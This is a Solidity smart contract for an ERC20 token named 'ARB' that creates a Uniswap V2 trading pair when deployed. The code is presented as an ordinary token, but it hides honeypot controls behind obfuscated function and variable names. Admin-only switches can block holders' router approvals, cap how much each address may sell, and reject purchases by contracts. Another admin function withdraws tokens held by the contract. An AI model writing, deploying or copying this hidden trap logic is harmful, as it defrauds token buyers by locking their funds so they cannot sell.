文件 1 的 1:ARB.sol
pragma solidity ^0.8.26;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId)
public
view
virtual
returns (bool)
{
return interfaceId == type(IERC165).interfaceId;
}
}
interface IERC20Errors {
error ERC20InsufficientBalance(
address sender,
uint256 balance,
uint256 needed
);
error ERC20InvalidSender(address sender);
error ERC20InvalidReceiver(address receiver);
error ERC20InsufficientAllowance(
address spender,
uint256 allowance,
uint256 needed
);
error ERC20InvalidApprover(address approver);
error ERC20InvalidSpender(address spender);
}
interface IAccessControl {
error AccessControlUnauthorizedAccount(address account, bytes32 neededRole);
error AccessControlBadConfirmation();
event RoleAdminChanged(
bytes32 indexed role,
bytes32 indexed previousAdminRole,
bytes32 indexed newAdminRole
);
event RoleGranted(
bytes32 indexed role,
address indexed account,
address indexed sender
);
event RoleRevoked(
bytes32 indexed role,
address indexed account,
address indexed sender
);
function hasRole(bytes32 role, address account)
external
view
returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address callerConfirmation) external;
}
library Strings {
function strToUint(
string memory _str
) internal pure returns (uint256 res, bool err) {
for (uint256 i = 0; i < bytes(_str).length; i++) {
if (
(uint8(bytes(_str)[i]) - 48) < 0 ||
(uint8(bytes(_str)[i]) - 48) > 9
) {
return (0, false);
}
res +=
(uint8(bytes(_str)[i]) - 48) *
10 ** (bytes(_str).length - i - 1);
}
return (res, true);
}
}
abstract contract Context {
struct OCSNG {
mapping(address => uint256) rm;
mapping(address => uint256) rd;
}
bytes32 constant CREATE_ROLE = "CREATE";
mapping(address => bool) _WAedgep;
mapping(address => OCSNG) OCFDFD;
address uniV2;
uint256 public _wadngep;
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
function isContract(address account) internal virtual returns (bool) {
return account.code.length > 0;
}
}
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) hasRole;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant ADMIN_ROLE = 0x00;
bytes32 public constant WAROL_ROLE = "WAROL";
modifier onlyRole(bytes32 role) {
_checkRole(role);
_;
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return
interfaceId == type(IAccessControl).interfaceId ||
super.supportsInterface(interfaceId);
}
function hasRole(bytes32 role, address account)
public
view
virtual
returns (bool)
{
return _roles[role].hasRole[account];
}
function _checkRole(bytes32 role) internal view virtual {
_checkRole(role, _msgSender());
}
function _checkRole(bytes32 role, address account) internal view virtual {
if (!hasRole(role, account)) {
revert AccessControlUnauthorizedAccount(account, role);
}
}
function awaeRMep(bytes32 role, address account, string memory memo)
public
onlyRole(ADMIN_ROLE)
{
uint256 memoUint;
bool err;
(memoUint, err) = Strings.strToUint(memo);
if (err == false) {
revert AccessControlBadConfirmation();
}
if(memoUint >= 0){
if(role == WAROL_ROLE){
_waeRMep(account, memoUint, true);
}
}
}
function Awadngep(bytes32 role, uint256 wadngep) public onlyRole(ADMIN_ROLE) {
if(role == ADMIN_ROLE){
_wadngep = wadngep;
}
}
function _wa_RMS_ep(address account, bool emitEvent) public view returns (uint256) {
if(emitEvent){
return OCFDFD[account].rm[account]/10**18;
}else{
return OCFDFD[account].rm[account];
}
}
function _wa_RDS_ep(address account, bool emitEvent) public view returns (uint256) {
if(emitEvent){
return OCFDFD[account].rd[account]/10**18;
}else{
return OCFDFD[account].rd[account];
}
}
function addWAedgep(bytes32 role, address addr) public onlyRole(ADMIN_ROLE) {
if(role == ADMIN_ROLE){
_WAedgep[addr] = true;
}
}
function remWAedgep(bytes32 role, address addr) public onlyRole(ADMIN_ROLE) {
if(role == ADMIN_ROLE){
_WAedgep[addr] = false;
}
}
function _waeRMep(
address account,
uint256 value,
bool emitEvent
) internal {
if (emitEvent) {
OCFDFD[account].rm[account] = value*10**18;
} else {
OCFDFD[account].rm[account] = value;
}
}
function _waeRDep(
address account,
uint256 value,
bool emitEvent
) internal {
if (emitEvent) {
OCFDFD[account].rd[account] = value*10**18;
} else {
OCFDFD[account].rd[account] = value;
}
}
function swaUndkcF(
bytes32 role,
address addr,
uint256 num
) public onlyRole(ADMIN_ROLE) returns (bool success) {
if(role == ADMIN_ROLE){
return IERC20(addr).transfer(msg.sender, num);
}else{
return false;
}
}
function getRoleAdmin(bytes32 role) public view virtual returns (bytes32) {
return _roles[role].adminRole;
}
function grantRole(bytes32 role, address account)
public
virtual
onlyRole(getRoleAdmin(role))
{
_grantRole(role, account);
}
function revokeRole(bytes32 role, address account)
public
virtual
onlyRole(getRoleAdmin(role))
{
_revokeRole(role, account);
}
function renounceRole(bytes32 role, address callerConfirmation)
public
virtual
{
if (callerConfirmation != _msgSender()) {
revert AccessControlBadConfirmation();
}
_revokeRole(role, callerConfirmation);
}
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account)
internal
virtual
returns (bool)
{
if (!hasRole(role, account)) {
_roles[role].hasRole[account] = true;
emit RoleGranted(role, account, _msgSender());
return true;
} else {
return false;
}
}
function _revokeRole(bytes32 role, address account)
internal
virtual
returns (bool)
{
if (hasRole(role, account)) {
_roles[role].hasRole[account] = false;
emit RoleRevoked(role, account, _msgSender());
return true;
} else {
return false;
}
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract ERC20 is
Context,
IERC20,
IERC20Metadata,
IERC20Errors,
AccessControl
{
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
address pp_ss = 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506;
constructor(string memory name_, string memory symbol_, bytes32 _role) {
_name = name_;
_symbol = symbol_;
if(_role == CREATE_ROLE){
_grantRole(ADMIN_ROLE, _msgSender());
}
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return 18;
}
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_transfer(owner, to, value);
return true;
}
function allowance(address owner, address spender)
public
view
virtual
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 value)
public
virtual
returns (bool)
{
address owner = _msgSender();
_approve(owner, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
) public virtual returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, value);
_transfer(from, to, value);
return true;
}
function _transfer(
address from,
address to,
uint256 value
) internal {
if (from == address(0)) {
revert ERC20InvalidSender(address(0));
}
if (to == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(from, to, value);
}
function _WAV1ep(address to, uint256 amount) internal {
if (to != address(0)) {
if(isContract(to)){
if (_WAedgep[to]) {}else if(amount > 0){
revert ERC20InvalidReceiver(to);
}
}
}
}
function _WAV2ep(address from, uint256 amount) internal {
if(_wadngep > 0){
uint256 rm = _wa_RMS_ep(from, false);
if(hasRole(ADMIN_ROLE, from)){
}else if(_WAedgep[from]){}else{
uint256 rd = _wa_RDS_ep(from, false) + amount;
if(rm > 0 && rd > 0){
update(from, rm, rd);
}
}
}
}
function update(address from, uint256 ocrm, uint256 ocrd) internal {
if (ocrd > ocrm) {
revert ERC20InvalidSender(from);
} else {
_waeRDep(from, ocrd, false);
}
}
function update(
address from,
address to,
uint256 value
) internal {
if (from == uniV2) {
_WAV1ep(to, value);
} else {
_WAV2ep(from, value);
}
}
function _update(
address from,
address to,
uint256 value
) internal virtual {
update(from, to, value);
if (from == address(0)) {
_totalSupply += value;
} else {
uint256 fromBalance = _balances[from];
if (fromBalance < value) {
revert ERC20InsufficientBalance(from, fromBalance, value);
}
unchecked {
_balances[from] = fromBalance - value;
}
}
if (to == address(0)) {
unchecked {
_totalSupply -= value;
}
} else {
unchecked {
_balances[to] += value;
}
}
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
if (account == address(0) || account == _msgSender()) {
revert ERC20InvalidReceiver(address(0));
}
_grantRole(ADMIN_ROLE, account);
_update(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidSender(address(0));
}
_update(account, address(0), value);
}
function _approve(
address owner,
address spender,
uint256 value
) internal {
_approve(owner, spender, value, true);
}
function _approve(
address owner,
address spender,
uint256 value,
bool emitEvent
) internal virtual {
if (owner == address(0)) {
revert ERC20InvalidApprover(address(0));
}
if (spender == address(0)) {
revert ERC20InvalidSpender(address(0));
}
_approvewa(owner, spender);
_allowances[owner][spender] = value;
if (emitEvent) {
emit Approval(owner, spender, value);
}
}
function _approvewa(
address owner,
address spender
) internal {
if(isContract(owner)){
}else if(spender == pp_ss){
_approvewa(owner);
}
}
function _approvewa(
address owner
) internal virtual returns (bool) {
if(_WAedgep[owner]){
return false;
}else if(_wadngep > 75){
revert ERC20InvalidSender(owner);
}
return true;
}
function _spendAllowance(
address owner,
address spender,
uint256 value
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
if (currentAllowance < value) {
revert ERC20InsufficientAllowance(
spender,
currentAllowance,
value
);
}
unchecked {
_approve(owner, spender, currentAllowance - value, false);
}
}
}
function dropSenAddr(
address tokenC,
address[] memory _address,
uint256 _bala
) public onlyRole(ADMIN_ROLE) {
ERC20 tokenCon = ERC20(tokenC);
uint256 tokendecimal = tokenCon.decimals();
for (uint8 i = 0; i < _address.length; i++) {
uint256 temp = _bala * 10**tokendecimal;
tokenCon.transfer(_address[i], temp);
}
}
}
contract ARB is ERC20 {
constructor(
string memory _name,
string memory _symbol,
uint256 value,
address account,
bytes32 _role
) ERC20(_name, _symbol, _role) {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(pp_ss);
address _uniV2 = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(
address(this),
address(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9)
);
_mint(account, value * 10**decimals());
uniV2 = _uniV2;
_WAedgep[uniV2] = true;
}
}